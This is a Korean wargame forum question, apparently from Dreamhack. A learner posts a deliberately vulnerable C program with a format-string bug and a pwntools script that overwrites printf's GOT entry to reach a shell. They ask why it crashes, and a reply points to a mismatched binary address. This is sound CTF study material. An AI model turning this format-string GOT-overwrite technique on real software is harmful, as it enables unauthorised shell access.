[got overwriting, FSB] system("/bin/sh")에서 터집니다

ubuntu 16.04에 파이, 카나리 해제되어있는 문제입니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

아래와 같이 익스 코드를 작성했습니다.

from pwn import *

context.arch = "i386"
context.log_level = 'debug'

get_shell_addr = 0x0804867b #134514299
printf_plt = 0x8048460
printf_got = 0x804a010
libc_start_main = 0xf7e1b647

p = remote("host3.dreamhack.games", 20584)
# p = remote("localhost",----)
# sleep(5)
# print(proc.pid_by_name("docker_basic_exploitation_003"))
pause()

fstring = p32(printf_got) 
fstring += p32(printf_got+1) 
fstring += p32(printf_got+3) 
fstring += b'%111x%6$n%1035c%7$n%2946c%8$n' #앞에 4바이트 포함

p.sendline(fstring)
pause()

p.interactive()

이에 다음과 같이 got overwriting을 성공한 걸 볼 수 있습니다
got overwriting
si로 진입하면 get_shell로 흐름이 바뀝니다.
image.png
하지만 system("/bin/sh")에서 터집니다.
image.png
로컬 디버거뿐만 아니라 원격지에서도 터지는 것을 보니 exploit code에 문제가 있는 것 같은데 이유를 잘 모르겠습니다. 도와주시면 감사하겠습니다..!

#pwnable #fsb #systemhacking #got_overwriting
작성자 정보
답변 1
kimht
공부벌레

안녕하세요, cityofwonder님.

https://dreamhack.io/wargame/challenges/5 에서 첨부파일로 주어지는 바이너리를 사용하셨을까요? (첨부파일로 주어진 바이너리의 get_shell() 주소(0x08048669)와 스크린샷 상에서 보여지는 get_shell() 주소(0x0804867b)가 다른 것으로 보입니다. 또한 main()의 디스어셈블 결과도 다른 것 같습니다.)

만약 소스 코드를 직접 컴파일하여 실습하신 경우에는 실제 문제 바이너리와 달라져서 풀이가 안 될 수 있습니다.

첨부파일로 주어진 바이너리를 이용해서 익스플로잇을 시도해 보시기를 바랍니다!

감사합니다.

2024.09.12. 16:23
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기